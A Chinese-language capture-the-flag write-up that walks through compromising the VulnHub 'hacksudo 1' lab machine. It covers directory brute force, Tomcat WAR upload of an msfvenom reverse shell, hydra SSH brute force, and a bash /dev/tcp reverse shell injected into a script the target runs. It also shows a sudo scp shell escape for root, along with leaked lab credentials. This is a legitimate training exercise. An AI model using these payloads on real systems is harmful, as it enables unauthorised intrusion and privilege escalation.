一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo1(10.0.2.43)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-101,650/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.43
使用nmap端口扫描发现,靶机开放端口:80、2222、8080
80端口:打开网站分析是一个登录界面
直接使用dirsearch工具爆破目录,发现users.sql、info.txt
文件泄露两个用户密码
jimit@example.com:b15fbfaac3776e5a2ad330fbf7976da7,解密:100596
admin@example.com:21232f297a57a5a743894a0e4a801fc3,解密:admin
直接使用用户名密码登录网站,但网站没有可利用的功能点
8080端口:打开网站发现是tomcat控制台,可以尝试使用之前获得的用户名密码登录
三、漏洞利用
使用admin:admin
登录成功,可以通过war包部署上传webshell。
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war
上传成功,访问上传的webshell,反弹shell
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查看是否存在特权命令,和具有可利用的root权限的文件,未发现
find / -perm -u=s -type f 2>/dev/null
进入靶机home目录,发现靶机存在两个用户hacksudo、vishal。
把两个用户各个文件夹都翻一翻,发现/home/vishal/office
目录下存在可疑文件
执行hacksudo
文件,hacksudo
会先设置uid为1000,并运行/home/vishal/office/manage.sh
脚本,但manage.sh
我们没有写权限、hacksudo
文件我们没有执行权限,暂时无法利用。
发现在/home/hacksudo
目录下存在getmanager
可执行文件,执行可以看到和/home/vishal/office/manage.sh
脚本里面的运行效果是一样的,怀疑getmanager
文件其实就是/home/vishal/office
目录下的hacksudo
文件
根据提示可以使用hydra对两个用户的ssh进行暴力破解,暴力破解vishal成功vishal:hacker
hydra -l vishal -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.43:2222 -t 64
使用ssh登录vishal用户
ssh vishal@10.0.2.43 -p 2222
未发现特权命令
现在我们有了修改manage.sh的权限,接下来我们可以修改/home/vishal/office/manage.sh
脚本,运行在/home/hacksudo/getmanager
文件进行提权
echo 'bash -c "bash -i >& /dev/tcp/10.0.2.15/8888 0>&1"'>manage.sh
直接执行getmanager反弹shell失败,再次监听端口等待一会,莫名其妙得到hacksudo权限,应该是hacksudo有计划任务,可以上传pspy64进行查看
使用hacksudo权限寻找是否存在特权命令,发现/usr/bin/scp
命令,执行不需要输入密码
使用网站GTFOBins搜索scp命令利用方法
使用scp通过生成交互式系统 shell 来突破受限环境。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
获取flag
关于vishal的密码还可以通过其他方法获得
在/var/backups/hacksudo
目录下存在vishal.jpg、hacksudo.zip、log.txt
文件
可以使用cp
命令将文件复制到tomcat目录/opt/tomcat/webapps/cmdmsf
,在主机使用wget获取文件
发现vishal.jpg图片存在隐写
获得一组字符串
使用凯撒密码解密,md5解密,获得password
backup of hacksudo machine user
user vishal
password 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327